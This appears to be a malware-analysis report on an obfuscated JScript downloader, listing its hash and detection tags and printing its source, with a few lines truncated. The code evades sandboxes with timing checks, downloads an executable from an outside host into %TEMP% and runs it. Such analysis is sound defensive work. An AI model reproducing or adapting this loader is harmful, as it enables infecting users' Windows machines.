20160328_d9955e586cd571004dcce82f1e297abe.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-25625642cf9d3ab7267aa63f10eaa7475f7acb2829a2aa9090e924cd5943eda1392
Evidence
1var Rxqzqledz = false;
2var Qfjpuvdgjl = "CreateObject";
3var Ihvuq = function Kpoob() {return WScript[Qfjpuvdgjl]("WScript.Shell");}();
4var Huliogplx = 123213;
5var Zswttbk = "MSXML2.XMLHTTP";
6var Mhvpzhy = 2123213;
7var Swynfwujn = 0;
8function Nkdcqrmhkz(Vcmmsgidl){Ihvuq["Run"](Vcmmsgidl, Swynfwujn, Swynfwujn);};
9function Leezlsgop(){return Zswttbk;};
10function Ofahetubea(Tubpz, Fyjuhyknfw){return Tubpz - Fyjuhyknfw;};
11function Rygbftibe(){return Qfjpuvdgjl;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Rxqzqledz = true;
15 @end
16@*/
17var Aflaehfsf = "";
18if (Rxqzqledz)
19{
20function Nvlfoxxaa(){return 22;};
21var Xtzvx = 0; var Oysjemj = 0;
22function Seecdokqec()
23{
24var Lgugo = new this["Date"]();
25var Emncdqhj = Lgugo["getUTCMilliseconds"]();
26WScript["Sleep"](Nvlfoxxaa());
27var Lgugo = new this["Date"]();
28var Lvljurrr = Lgugo["getUTCMilliseconds"]();
29WScript["Sleep"](Nvlfoxxaa());
30var Lgugo = new this["Date"]();
31var Xrnmlszs = Lgugo["getUTCMilliseconds"]();
32var Xtzvx = "Pjrjrhyd";
33Xtzvx = Ofahetubea(Lvljurrr, Emncdqhj);
34var Oysjemj = "Ptmew";
35Oysjemj = Ofahetubea(Xrnmlszs, Lvljurrr);
36Aflaehfsf = "open";
37return Ofahetubea(Xtzvx, Oysjemj);
38}
39var Wetgijedqi = false;
40var Azjczgn = false;
41for (var Kxkkiwqudm = Swynfwujn; Kxkkiwqudm < Nvlfoxxaa() * 1; Kxkkiwqudm++){if (Seecdokqec() != Swyn …
49:3… (Wetgijedqi && Yecih() && Azjczgn){
50function Hyvycg() {return Ihvuq["ExpandEnvironmentStrings"]("%TEMP%/") + "97QJcjle.exe";};
51 Kvqskxfke = Leezlsgop();
52 Hgfolixdc = WScript[Qfjpuvdgjl](Kvqskxfke);
53 var Rlrooyshx = 1;
54 while (Rlrooyshx){
55try {
56Hgfolixdc[Aflaehfsf]("GET", "http://gydkym.com/dk3s8sja", false);
57Hgfolixdc["send"]();
58Addqsecwba = "Sleep";
59do {WScript[Addqsecwba](Nvlfoxxaa() * 11)} while (Hgfolixdc["readystate"] < 4 );
60Rlrooyshx = Swynfwujn;
61} catch(Lndnqmwx){Rlrooyshx = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Evnjrmcv(Ezdin) {var Xtnojahwp = (1, 2, 3, 4, 5, Ezdin); return Xtnojahwp;};
64Rixrpfq = WScript[Rygbftibe()]("ADODB.Stream");
65Kvqskxfke = Rixrpfq;
66Kvqskxfke[Aflaehfsf]();
67Kvqskxfke["type"] = Evnjrmcv(1);
68Kvqskxfke["write"](Hgfolixdc["ResponseBody"]);
69Rixrpfq["position"] = Evnjrmcv(Swynfwujn);
70Kvqskxfke["SaveToFile"](Hyvycg(), Evnjrmcv(2) );
71Rixrpfq["close"]();
72Nkdcqrmhkz(Hyvycg());
73}
74}
75